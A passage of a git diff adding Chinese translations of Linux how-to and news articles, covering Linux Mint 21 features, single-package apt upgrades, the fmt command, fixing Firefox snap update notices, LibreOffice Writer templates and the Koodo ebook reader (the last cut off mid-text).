大特色,你可以看看有哪些是为你而准备的。 + +![](https://www.debugpoint.com/wp-content/uploads/2022/07/mint21feature.jpg) + +Linux Mint 21 “Vanessa” 是 [Linux Mint][2] 的第 36 个发布版本,它带来了一系列特色,以及对桌面上的有用改善。这些特色散落在 Cinnamon 桌面、内核变化、Xapps 更新等处。 + +我在这份 Linux Mint 21 的重要特色列表对它们做了个总结。 + +### Linux Mint 21 “Vanessa” 的重要特色 + +![Linux Mint 21 Cinnamon Desktop][1] + +#### 1、Ubuntu 22.04 及其相关更新 + +也许最重要的变化就是 Linux Mint 21 的基础了,它现在基于 [Ubuntu 22.04 “Jammy Jellyfish”][3] 。上一次的主要版本,即 Linux Mint 20 “Ulyana” ,是基于四年前发布的 Ubuntu 20.04 “Focal Fossa” 。沧海桑田,现在与 2020 年的世界已然完全不同。 + +因此,大量的软件包、版本升级、新的性能改善 —— 所有的这些底层更新都来到了 Linux Mint 21 。这包括最新的长期支持的 [Linux 内核 5.15][4] ,这带来了更多硬件系列的支持、以及针对编程、开发和网络的工具链的更新。 + +#### 2、Timeshift 备份工具的重大变化 + +几个月前,Mint 开发团队 [宣布][5] :他们将接管著名的备份工具 Timeshift,并将其作为一个 “XApps” 继续开发。这是一个重大变化。你可能会问为什么? + +好吧,Timeshift 工具的开发者 Tony George 正忙于其它的项目。你可能听说过 Linux 的 “[TeeJeeTech][6]” 应用。它是由 Tony 创建的,并且有一些很酷的应用。因此,他没有足够多的时间来专注于 Timeshift 的开发和改进。 + +![Timeshift creating snapshot][7] + +说到这里,由于 Linux Mint 现在在维护它,这个发布版本带来了一些新的功能,例如,在 rsync 模式(不是 btrfs 模式)时,现在 Timeshift 可以确定进行下一次备份需要多少磁盘空间。此外,如果它看到磁盘空间在备份后小于 1 GB ,会停止备份过程。 + +#### 3、WebP 支持 + +WebP 图像是谷歌为 Web 创建的一种相当新的图像格式。它带来了更好的压缩率,在保持与传统的 JPEG 和 PNG 图片相当的良好质量的同时,减少了文件大小。 + +在 Linux 桌面支持 WebP(如查看图像、缩略图或编辑)需要 [额外安装][8] 一些软件包。考虑到其流行程度,Linux Mint 开发团队为桌面应用及这个衍生发行版带来了开箱即用的 WebP 支持。 + +这意味着,在 Nemo 文件管理器中可以显示 WebP 图像的缩略图,并可以在 xviewer 中查看它们。Mint 开发团队总是优先考虑到最终用户,而诸如 Ubuntu 之类的其它发行版在默认支持 WebP 方面仍然落后。不仅如此,新的应用程序 [xapp-thumbnailers][9] 现在还能帮助 Nemo 文件管理器预览更多的文件类型,如: + +* ePub +* 带有专辑封面的 MP3 +* RAW 图像 +* AppImage + +#### 4、进程监视器 + +一个名称为 进程监视器process monitor 的小巧方便的工具,将会告知你系统中正在发生什么。当你的系统正在自动更新或通过 Timeshift 备份时,系统托盘上的这个小图标就会显示出来。在这些情况下,你的系统可能会变慢,而这个漂亮的图标可以告诉你原因。 + +#### 5、改善打印支持 + +Linux Mint 针对硬件设备配置了各种驱动程序,默认情况下就支持打印机。这个版本的 Mint 带来 [网络打印协议][10]Internet Printing Protocol(IPP)支持,可以免驱动进行打印和扫描。 + +另外,它也默认安装了 HP 的驱动程序 HPLIP 的最新版本 3.21.12 。 + +所有的这些变化都简化了打印机和扫描仪的使用,而像你这样的最终用户可以轻松地打印和扫描。这是一个 Linux 发行版的一个重要的方面,但并不是总是能顺利工作的。在 [点评过很多发行版][11] 后,我发现很多发行版无法检测到打印机,乃至不能打印。 + +很高兴看到 Mint 开发团队对这个关键功能做出了贡献。 + +#### 6、窗口动画更新 + +窗口和桌面动画效果有一些相当大的变化。首先,合并了窗口和桌面的效果设置。先前,是在不同的部分对动画进行细微的控制。 + +这里是对比视图: + +![][12] + +![][13] + +其次,取消了映射窗口和桌面效果选项。 + +第三,带来一个新的控件,用于更改整体动画的快慢速度。 + +最后,还有一个可以禁用或启用在整个桌面上的所有动画的全局开关,给予你更多的控制选项。 + +我相信这是一个经过精心设计的、可以让人更清楚地了解的对话框和高级选项。 + +#### 7、Mutter 重新构建 + +让我们来看一下随 Linux Mint 21 而来的 [Cinnamon 桌面环境版本 5.4][14]。它是最新的 Cinnamon 发布版本,Mint 是第一个将其带给用户的的发行版(除了传统的 Arch Linux 用户,他们得到它 [有点超早][15])。 + +最后,开发团队对 Cinnamon 5.4 中的窗口管理器 Muffin 根据上游的 Mutter 进行了重新构建。由于 Muffin 最初是从 Mutter 复刻出来的,所以它总是落后于上游的 Mutter 的功能,即使是有一些后期移植的改变。为使 Muffin 尽可能地接近 Mutter 代码库,团队在包含的特色功能、错误修复及清理方面付出了大量的努力。 + +因此,在未来,更容易从 Mutter 上游移植变化和在需要的时候清理 Muffin。 + +#### 8、窗口管理器和 GTK 主题 + +伴随着 Muffin 的变化,开发团队也将 GNOME 控制中心的一些显示设置移动到了 Cinnamon 控制中心。此外,在 Cinnamon 5.4 中,来自 csd-xrandr 的显示配置移动到了 Muffin 窗口管理器中。显然,你不会在显示设置窗口中看到什么不同。不过,在缩放显示或在高分辨率窗口中时,你可能会发现一些性能的提升,以及错误或问题更少一些。 + +Mint 开发团队在 Cinnamon 5.4 引入的另外一个关键变化是,在应用程序中实现 GTK 窗口的统一渲染。先前,如果一个 GTK 应用程序使用了标题栏,那么对话框会是一个 CSD (客户端样式)和 GTK 主题的混合体. + +现在随着 Cinnamon 5.4 的到来,所有的窗口都使用 GTK 主题进行渲染,而不再与它们的设计相关联。于是,传统的 Metacity 主题也被抛弃。 + +顺便说一句,我喜欢 Metacity 及其 “传统外观”,它们是 GNOME 的早期 [产物][16] 。 + +#### 9、软件包管理器更新 + +跟随 Debian、KDE Plasma 桌面的趋势,Linux Mint 也开始保护你的系统不会卸载重要的依赖关系软件包。 + +当你尝试卸载软件包时,Mint 现在会检查依赖关系,并检查重要的桌面软件包是否将会被移除。 + +如果发现这种情况,你将会得到一条阻止你继续卸载软件包的错误信息。 + +在另一方面,当成功地卸载一个软件包时,它会清理所有与之同时安装的依赖软件包。 + +#### 10、禁用 systemd OOMD 服务 + +自从 Ubuntu 22.04 LTS 发布以来,有一些对内存不足守护进程(`systemd-oomd`)不好的反馈。网上的很多用户都 [报告][17] 说:在没有任何警告或用户干预的情况下,会突然关闭应用程序(例如 Firefox)。进一步的调查表明,`systemd-oomd` 的实现情况“不是很好”。 + +理论上说,[systemd-oomd.service][18] 会监视你的系统的内存不足的情况,并且它有权杀死任何多过消耗系统资源的进程。Ubuntu 开发团队并没有和用户强调这一点,最后导致了不愉快的用户的体验。 + +基于这一认识,Linux Mint 21 决定 [不提供][19] 这种服务,禁用它。因为 Linux Mint 的用户群体是普通用户、学生等,如果应用程序意外关闭,对用户来说将是一种不好的体验。 + +![Systemd OOMD service is not enabled][20] + +#### 11、其它变化 + +最后,让我们归纳一些微小却有影响的变化来结束这篇 Linux Mint 21 特色介绍。 + +* 默认的文档阅读器应用程序 Xreader 现在能够进行微小注释。这是一个很方便的功能。 +* WebApp 管理器现在带来了一些自定义的浏览器参数。 +* Warpinator 文件传输器实用工具现在可以向你显示来自 Windows 、Android 和 iOS 设备上的其它的源文件。 +* Mint 将 Firefox 浏览器打包为 .deb 版本,而不是 Ubuntu 22.04 LTS 中的默认 .Snap 版本。感谢 Mint 开发团队,用户不必为卸载 Jammy 中的 Firefox 的 .Snap 版本的而运行 [一套复杂的命令][21]。 + + ![Firefox 102 in Linux Mint 21 – Exclusively packaged as deb executable][22] + +* 批量重命名应用程序 Thingy 在用户界面上做了一些改善。 +* GRUB2 的操作系统检测程序(`os-prober`)现在能够检测出你的硬件系统上所有的操作系统(对双启动或多启动有用)。 +* 蓝牙管理器 Blueman 取代了 Blueberry ,为连接和管理你的蓝牙设备带来了其它的功能。 +* 最后,在这个发布版本中也有为你的新桌面而准备的新壁纸。 + + ![New Wallpapers in Linux Mint 21][23] + +### 没有变化的部分 + +从表明上来看,你可能会觉着 Linux Mint 21 的绝大部分功能与先前的版本相同。默认桌面外观和默认壁纸保持不变。Xfce 和 MATE 桌面也没有发布任何重要的功能。因此,它们是完全一样的。此外,默认图标主题、应用程序菜单等等都可能会给你一种似曾相识的感觉。 + +### 总结 + +总体来说,最终用户需要的是一套完好的特色功能,而不是花哨的手势之类的东西。鉴于此,对初学者或最终用户来说,Linux Mint 是当今最好的 Linux 发行版。至此,这篇 Linux Mint 21 特色的总结就此结束了。 + +你认为 Linux mint 21 的新特色怎么样?在这个发布版本中,是否有一些你所求而未得的特色?让我们在下面的评论区讨论这个问题。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/linux-mint-21-features/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/07/Linux-Mint-21-Cinnamon-Desktop.jpg +[2]: https://www.debugpoint.com/linux-mint/ +[3]: https://www.debugpoint.com/web-stories/ubuntu-22-04-review/ +[4]: https://www.debugpoint.com/linux-kernel-5-15/ +[5]: https://blog.linuxmint.com/?p=4323 +[6]: https://teejeetech.com/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/07/Timeshift-creating-snapshot.jpg +[8]: https://www.debugpoint.com/view-webp-ubuntu-linux/ +[9]: https://github.com/linuxmint/xapp-thumbnailers +[10]: https://datatracker.ietf.org/doc/html/rfc8011 +[11]: https://www.debugpoint.com/tag/linux-distro-review/ +[12]: https://www.debugpoint.com/wp-content/uploads/2022/07/Effects-in-Linux-Mint-20.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/07/Effects-in-Linux-Mint-21.jpg +[14]: https://github.com/linuxmint/cinnamon-desktop/releases/tag/5.4.0 +[15]: https://www.debugpoint.com/cinnamon-arch-linux-install/ +[16]: https://www.debugpoint.com/gnome-classic-ubuntu-22-04/ +[17]: https://askubuntu.com/questions/1404888/how-do-i-disable-the-systemd-oom-process-killer-in-ubuntu-22-04 +[18]: https://www.freedesktop.org/software/systemd/man/systemd-oomd.service.html +[19]: https://debugpointnews.com/linux-mint-21-systemd-oom/ +[20]: https://www.debugpoint.com/wp-content/uploads/2022/07/Systemd-OOMD-service-is-not-enabled.jpg +[21]: https://www.debugpoint.com/remove-firefox-snap-ubuntu/ +[22]: https://www.debugpoint.com/wp-content/uploads/2022/07/Firefox-102-in-Linux-Mint-21-Exclusively-packaged-as-deb-executable.jpg +[23]: https://www.debugpoint.com/wp-content/uploads/2022/07/New-Wallpapers-in-Linux-Mint-21.jpg +[24]: https://github.com/linuxmint/mint21-beta/issues diff --git a/published/202208/20220720 Update a Single Package With apt Command in Ubuntu and Debian.md b/published/202208/20220720 Update a Single Package With apt Command in Ubuntu and Debian.md new file mode 100644 index 0000000000..30d11e48d2 --- /dev/null +++ b/published/202208/20220720 Update a Single Package With apt Command in Ubuntu and Debian.md @@ -0,0 +1,98 @@ +[#]: subject: "Update a Single Package With apt Command in Ubuntu and Debian" +[#]: via: "https://itsfoss.com/apt-upgrade-single-package/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14895-1.html" + +在 Ubuntu 和 Debian 中使用 apt 命令更新单个软件包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/04/165705li66yephvx464ivt.jpg) + +如何 [在命令行中更新你的 Ubuntu 系统][1]?你可以使用 `apt update`(刷新包缓存)和 `apt upgrade` 命令。 + +``` +sudo apt update && sudo apt upgrade +``` + +它会更新所有可以立即升级的已安装 apt 包。这也包括 Linux 内核版本。 + +这似乎是一件好事,尤其是对于桌面用户。但对于运行关键 Web 服务的 Ubuntu 服务器用户而言,情况可能并非如此。 + +如果你想对更新有选择性,并且**只想升级单个软件包**,请使用以下命令: + +``` +sudo apt install --only-upgrade package_name +``` + +让我们更详细地了解一下。 + +### 使用 apt 命令升级单个包 + +第一步是更新本地包仓库缓存,以便你的系统知道有新版本的软件包可用。 + +``` +sudo apt update +``` + +**这是可选的**。查看一下你要升级的软件包是否在 [可升级软件包列表][2] 中。 + +``` +apt list --upgradable +``` + +如果所需的软件包有可用的新版本,你可以选择使用以下命令仅升级该单个软件包: + +``` +sudo apt install --only-upgrade package_name +``` + +如果你对已安装的软件包运行 `apt install` 命令,它将升级到下一个可用版本。 + +但如果该软件包尚未安装,`apt` 命令也会安装它。 + +这就是为什么 `--only-upgrade` 部分是必要的。使用该选项,`apt` 命令只会升级已安装的软件包。如果尚未安装,它将不会安装该软件包。 + +这不是最适合 Ubuntu 服务器用户的示例,但你仍然可以在下面的截图中看到我如何只升级了七个可升级包中的一个。 + +![Update only a single package in Ubuntu][3] + +### 仅升级选定的软件包 + +如果要升级选定的几个软件包,那么不必一一更新。只需使用前面提到的命令提供包名称。 + +``` +sudo apt install --only-upgrade package1 package2 package3 +``` + +这是一个例子。 + +![Upgrade selected packages in Ubuntu][4] + +### 总结 + +当你面临必须升级选定软件包的情况时,你可以使用带有 `–only-upgrade` 选项的 `apt install` 命令。 + +我建议阅读 [如何更有效地使用 apt 命令][5]。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/apt-upgrade-single-package/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/update-ubuntu/ +[2]: https://itsfoss.com/apt-list-upgradable/ +[3]: https://itsfoss.com/wp-content/uploads/2022/07/update-single-package-ubuntu-scaled.webp +[4]: https://itsfoss.com/wp-content/uploads/2022/07/upgrade-selected-packages-ubuntu.png +[5]: https://itsfoss.com/apt-command-guide/ diff --git a/published/202208/20220721 How I use the Linux fmt command to format text.md b/published/202208/20220721 How I use the Linux fmt command to format text.md new file mode 100644 index 0000000000..878a820f83 --- /dev/null +++ b/published/202208/20220721 How I use the Linux fmt command to format text.md @@ -0,0 +1,97 @@ +[#]: subject: "How I use the Linux fmt command to format text" +[#]: via: "https://opensource.com/article/22/7/fmt-trivial-text-formatter" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "perfiffer" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14886-1.html" + +我是如何使用 Linux fmt 命令来格式化文本 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/01/184300zbyfjayeyqa5pmcb.jpg) + +> fmt 命令是一个简单的文本格式化程序。我将在这里展示如何使用它来格式化文本和邮件回复。 + +当我为项目编写文档时,我经常以纯文本的形式编写自述文件和安装说明。我不需要使用 HTML 或者 Markdown 之类的标记语言来描述项目的功能或如何编译它。但是维护这样的文档可能会很痛苦。如果我需要更新我的 `Readme` 文件中的一个句子的中间位置,我需要重新格式化文本,以避免在我的其它文本中间出现一个很长或很短的行,而其它的行的格式是整整齐齐的 75 列。一些编辑器包含可以自动重新格式化文本以填充段落的功能,但并非所有的编辑器都这样做。这就是 Linux `fmt` 命令的用武之地。 + +### 使用 Linux fmt 命令格式化文本 + +`fmt` 命令是一个简单的文本格式化程序;它收集单词并填充段落,但不应用任何其它文本样式,例如斜体或粗体。这一切都是纯文本。使用 `fmt` 命令,你可以快速调整文本,使其更易于阅读。让我们从这个熟悉的示例文本开始: + +``` +$ cat trek.txt +Space: the final +frontier. These are the voyages +of the starship Enterprise. Its +continuing mission: to explore +strange new worlds. To +seek out new life and new +civilizations. To boldly go +where no one has gone before! +``` + +在这个实例文件中,每行都有不同的长度,并且它们以一种奇怪的方式换行。如果你对纯文本文件进行大量更改,你可以会遇到类似的奇怪的换行。要重新格式化此文本,你可以使用 `fmt` 命令将段落的行填充为统一长度: + +``` +$ fmt trek.txt +Space: the final frontier. These are the voyages of the starship +Enterprise. Its continuing mission: to explore strange new worlds. To +seek out new life and new civilizations. To boldly go where no one has +gone before! +``` + +默认情况下,`fmt` 会将文本格式化为 75 的列宽大小,但你可以使用 `-w` 或 `--width` 选项进行更改: + +``` +$ fmt -w 60 trek.txt +Space: the final frontier. These are the voyages of +the starship Enterprise. Its continuing mission: to +explore strange new worlds. To seek out new life and new +civilizations. To boldly go where no one has gone before! +``` + +### 使用 Linux fmt 命令格式化电子邮件回复 + +我加入了一个邮件列表,这里更喜欢纯文本电子邮件,这使得在列表服务器上归档电子邮件变得更加容易。但现实是并非每个人都以纯文本形式发送电子邮件。有时候,当我以纯文本形式回复这些电子邮件时,我的电子邮件客户端会将整个段落放在一行中。这使得在电子邮件中“引用”回复变得困难。 + +这是一个简单的例子。当我以纯文本形式回复电子邮件时,我的电子邮件客户端通过在每行前添加 `>` 字符来“引用”对方的电子邮件。对于一条短消息,可能如下所示: + +``` +> I like the idea of the interim development builds. +``` + +没有正确“换行”的长行将无法在我的纯文本电子邮件回复中正确显示,因为它只是前面带有 `>` 字符的长行,如下所示: + +``` +> I like the idea of the interim development builds. This should be a great way to test new changes that everyone can experiment with. +``` + +为了解决这个问题,我打开了一个终端并将引用的文本复制并粘贴到一个新文件中。然后我使用 `-p` 或 `--prefix` 选项来告诉 `fmt` 在每一行之前使用什么字符作为“前缀”。 + +``` +$ cat > email.txt +> I like the idea of the interim development builds. This should be a great way to test new changes that everyone can experiment with. +^D +$ fmt -p '>' email.txt +> I like the idea of the interim development builds. This should be a +> great way to test new changes that everyone can experiment with. +``` + +`fmt` 命令是一个非常简单的文本格式化程序,但它可以做很多有用的事情,可以帮助以纯文本形式编写和更新文档。要了解其它选项,例如 `-c` 或 `--crown-margin` 以匹配段落前两行缩进,例如项目列表。还可以尝试使用 `-t` 或者 `--tagged-paragraph` 来保留段落中第一行的缩进,就像缩进的段落一样。`-u` 或 `--uniform-spacing` 选项在单词之间使用一个空格,在句子之间使用两个空格。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/fmt-trivial-text-formatter + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[perfiffer](https://github.com/perfiffer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/osdc-docdish-typewriterkeys-3-series.png diff --git a/published/202208/20220722 Fixing the -Pending Update of Firefox snap- Error in Ubuntu.md b/published/202208/20220722 Fixing the -Pending Update of Firefox snap- Error in Ubuntu.md new file mode 100644 index 0000000000..8ff9757d64 --- /dev/null +++ b/published/202208/20220722 Fixing the -Pending Update of Firefox snap- Error in Ubuntu.md @@ -0,0 +1,117 @@ +[#]: subject: "Fixing the “Pending Update of Firefox snap” Error in Ubuntu" +[#]: via: "https://itsfoss.com/pending-update-firefox-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14908-1.html" + +修复 Ubuntu 中的 “Pending Update of Firefox snap” 错误 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/08/154842wquoflgffwyyn2cw.jpg) + +如果你使用的是 Ubuntu 22.04,你可能已收到过此通知。 + +![Notification about pending Firefox app][1] + +它会通知你 Firefox 更新正在等待中,并要求你关闭应用以避免中断。 + +因此,就像一个听话的 Ubuntu 用户一样,你在保存或完成工作后关闭了 Firefox 浏览器。 + +你认为 Firefox 已在后台更新,重启浏览器将运行较新版本。 + +只是,并非如此。 + +**即使在你重启浏览器甚至计算机后,它仍可能显示相同的 “pending update of Firefox” 通知**。 + +令人沮丧么?我可以告诉你发生了什么。 + +让我解释一下为什么会发生这种情况,以及你可以做些什么来“修复”它。 + +### 修复 “pending update of Firefox snap” 问题 + +早些时候,Firefox 曾经在后台更新,然后要求你重启浏览器。在你重启浏览器之前 [不能][2] 打开任何网站。 + +![Firefox forced restart in the past][3] + +在将 [Firefox 浏览器切换为默认 Snap 包格式][4] 后,Ubuntu 团队对更新流程进行了一些改动。 + +此通知是“改进的用户体验”的一部分。现在,Firefox 不再阻止你浏览。你可以在方便时重新启动浏览器以进行更新。 + +但是为什么即使在你重新启动浏览器或系统后它仍然显示这个通知? + +因为这是一条糟糕的通知消息,无法为你提供完整的信息。 + +#### Firefox 更新还没有开始 + +当你看到 “pending Firefox update” 时,你错误地认为应用已在后台更新,重启会将其升级到较新的版本。 + +而对于现在这种情况,Ubuntu 中的 Snap 包每天会自动刷新(更新)一次或几次。为了避免在重新启动安装更新之前 Firefox 不允许你浏览任何内容而导致工作中断,Ubuntu 甚至不会在后台更新 Firefox Snap 包。 + +相反,当 Snap 包刷新时,**它会显示通知并希望你立即关闭浏览器**,以便可以使用其他 Snap 包进行更新。 + +但像你我这样的用户不能这样做,对吧?看到通知,立即关闭浏览器?并不是很方便。 + +而当你有时间关闭浏览器时,Snap 刷新却不会马上更新浏览器。 + +你可以看到更新的 Snap 版本的 Firefox 可用,但只要 Firefox 正在运行,它就不会自动安装。 + +![Firefox snap won’t be updated automatically if the browser is running][5] + +#### 更新 Firefox Snap + +这是你摆脱每天不断出现的更新通知所需要做的事情。 + +* 关闭 Firefox 浏览器 +* 手动运行 Snap 刷新(更新已安装的 Snap 包) + +确保你在 Firefox 浏览器中的工作已保存。现在,使用鼠标关闭所有 Firefox 浏览器或在终端中运行以下命令: + +``` +sudo killall firefox +``` + +现在 Firefox 不再运行,更新 Snap 软件包: + +``` +sudo snap refresh +``` + +你会看到它开始下载更新的 Firefox 包。 + +![Firefox is being updated with Snap][6] + +更新完成后,你将看到 Firefox 已升级到更新版本的摘要信息。 + +![Updated Firefox snap version][7] + +### 总结 + +安装非 Snap 版本的 Firefox 也可能是个解决方案,但不是每个人都可以走这条路。 + +Firefox 和 Snap 的开发人员必须齐心协力改进这个模棱两可的更新过程。他们应该提供更好的机制,不仅显示待处理更新的通知,还提供启动更新的选项。 + +这是我们最近在 Ubuntu 上看到的许多奇怪的事情之一。这必须改变才能使 Ubuntu (再次)成为一个对初学者友好的发行版。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/pending-update-firefox-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/07/pending-update-firefox-ubuntu.png +[2]: https://news.itsfoss.com/mozilla-annoying-new-tab/ +[3]: https://itsfoss.com/wp-content/uploads/2022/07/firefox-restart.webp +[4]: https://news.itsfoss.com/ubuntu-firefox-snap-default/ +[5]: https://itsfoss.com/wp-content/uploads/2022/07/pending-Firefox-update-issue-Ubuntu.png +[6]: https://itsfoss.com/wp-content/uploads/2022/07/updating-firefox-snap-package-ubuntu.png +[7]: https://itsfoss.com/wp-content/uploads/2022/07/firefox-snap-update-ubuntu.png diff --git a/published/202208/20220725 How to use LibreOffice Writer templates.md b/published/202208/20220725 How to use LibreOffice Writer templates.md new file mode 100644 index 0000000000..3ca137d39f --- /dev/null +++ b/published/202208/20220725 How to use LibreOffice Writer templates.md @@ -0,0 +1,78 @@ +[#]: subject: "How to use LibreOffice Writer templates" +[#]: via: "https://opensource.com/article/22/7/libreoffice-writer-templates" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14925-1.html" + +如何使用 LibreOffice Writer 模板 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/13/165957bxrcv4lnxttdtc5c.jpg) + +> 使用 LibreOffice 模板快速开始在 Linux 上写作。 + +任何办公软件套件中的主要部件都是文字处理器。无论你的需求如何,从记笔记到写书,文字处理器都能完成工作。大多数 Linux 发行版都包含 [LibreOffice][2] 套件,我使用 LibreOffice Writer 作为我的文字处理器。 + +LibreOffice Writer 通过其工具栏、键盘快捷键和菜单提供了很大的灵活性。但是,如果你只是想轻松地开始一个文档,你可以使用其中一个预加载的模板。以下是如何使用 LibreOffice Writer 模板让你的工作更轻松。 + +### 开始一个新文档 + +LibreOffice Writer 从一个空白文档开始。大多数人就从这里开始写作,但这也是从模板创建新文档的地方。 + +首先,打开“文件File”菜单,然后选择“新建New”、“模板Templetes”。此选项会打开模板选择对话框: + +![Open templates from the File menu][3] + +模板选择对话框显示系统上可用的不同模板。默认的 LibreOffice Writer 安装包括用于不同类型的商务信函、简历和其他文档的模板。你可以使用对话框顶部的过滤器选项浏览列表或缩小结果范围。 + +![Select a template][4] + +单击你想要的模板,然后单击“打开Open”以使用此模板开始一个新的 Writer 文档。一些模板包括样板文本或其他示例材料,你可以使用这些材料开始编写新文档。例如,**现代商务信函**由以下 “lorem ipsum” 示例文本组成: + +![Modern business letter template][5] + +其他文档模板只是为你提供了一个具有一些漂亮的默认设置的空文档的起点。例如,**现代**文档模板对文本正文使用无衬线字体(例如 Linux 系统上的 Carlito): + +![Modern template][6] + +### 下载模板 + +如果你在内置选项中没有找到所需的模板,你可以从 LibreOffice 的网站下载合适的文档模板。进入 [LibreOffice 扩展][7]以开始使用 LibreOffice 扩展和模板库。 + +![Templates and extensions options][8] + +在框中输入搜索词以查找你需要的文档模板。例如,学生可能会搜索 “APA” 来查找为 APA 样式设置的文档模板,这是学术论文的常见样式。 + +![APA format template][9] + +### 总结 + +如果你需要编写文档,请浏览 LibreOffice 模板以找到适合你的模板。使用模板意味着你可以花费更少的时间来设置文档以使其具有某种外观,并且可以更快地工作。在支持你的工作的 LibreOffice 扩展和模板库中查找其他文档模板。 + +(图片来源:Jim Hall,CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/libreoffice-writer-templates + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/doc-dish-lead.png +[2]: https://www.libreoffice.org/ +[3]: https://opensource.com/sites/default/files/2022-07/1new-file-template.png +[4]: https://opensource.com/sites/default/files/2022-07/2templates-selection.png +[5]: https://opensource.com/sites/default/files/2022-07/3modern-bus-letter.png +[6]: https://opensource.com/sites/default/files/2022-07/4modern-template.png +[7]: https://templates.libreoffice.org/ +[8]: https://opensource.com/sites/default/files/2022-07/5temps-and-extensions.png +[9]: https://opensource.com/sites/default/files/2022-07/6apa-template.png diff --git a/published/202208/20220725 Koodo is an All-in-one Open Source eBook Reader App for Linux.md b/published/202208/20220725 Koodo is an All-in-one Open Source eBook Reader App for Linux.md new file mode 100644 index 0000000000..42f7201a9a --- /dev/null +++ b/published/202208/20220725 Koodo is an All-in-one Open Source eBook Reader App for Linux.md @@ -0,0 +1,108 @@ +[#]: subject: "Koodo is an All-in-one Open Source eBook Reader App for Linux" +[#]: via: "https://itsfoss.com/koodo-ebook-reader/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14902-1.html" + +Koodo:一款适用于 Linux 的一体化开源电子书阅读器应用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/06/200116wwgeawub7ge0tard.jpg) + +有几个可供桌面 Linux 用户使用的 [电子书阅读器][1]。 + +几乎所有发行版都带有可以打开 PDF 文件的文档阅读器。它还可能支持其他文件格式,例如 epub 或 Mobi,但不一定。 + +这就是为什么需要像 [Foliate][2] 和 Calibre 这样的专门应用来阅读和管理各种格式的电子书的原因。 + +最近,我遇到了另一个开源软件,它为电子书阅读器提供了几个令人兴奋的功能。 + +### Koodo:它有你能想到的一切 + +[Koodo][3] 是一款多合一的开源电子书阅读器,具有帮助你更好地管理和阅读电子书的功能。它是一个跨平台应用,你可以在 Linux、Windows 和 macOS 上下载。你甚至可以 [在浏览器中使用它][4]。 + +它的用户界面看起来很现代,可能是因为它是一个 Electron 应用。你必须导入书籍并将它们添加到 Koodo。它不按文件夹导入书籍。不过,你可以选择多个文件进行导入。书太多了?可以将一些添加到你的收藏夹以便快速访问。 + +![Koodo ebook reader interface][5] + +我使用了 AppImage 格式的软件包,但由于未知原因,它没有显示文件的缩略图。 + +![Koodo ebook reader dark mode interface][6] + +它支持流行的电子书文件格式,如 PDF、Mobi 和 Epub。但不止这些,它还支持 CBR、CBZ 和 CBT 等漫画书格式,它还支持更多。它还可以阅读 FictionBooks(.fb2)、Markdown 和富文本格式(RTF)以及微软 Office Word 文档(.docx)。 + +除了支持很多文件格式外,它还提供了多种功能来改善你的阅读体验。 + +你可以高亮显示文本并使用文本注释对其进行注释。你还可以在当前文档或谷歌上搜索选定的文本。 + +![Annotate, highlight or translate selected text][7] + +你可以从主应用窗口的侧边栏中访问高亮显示的文本和注释。 + +也有文本到语音和翻译选定文本的选项。但是,这两个功能在我的测试中都不起作用。我使用的是 Koodo 的 AppImage 版本。 + +Koodo 支持各种布局。你可以以单列、双列或连续滚动布局阅读文档。对于 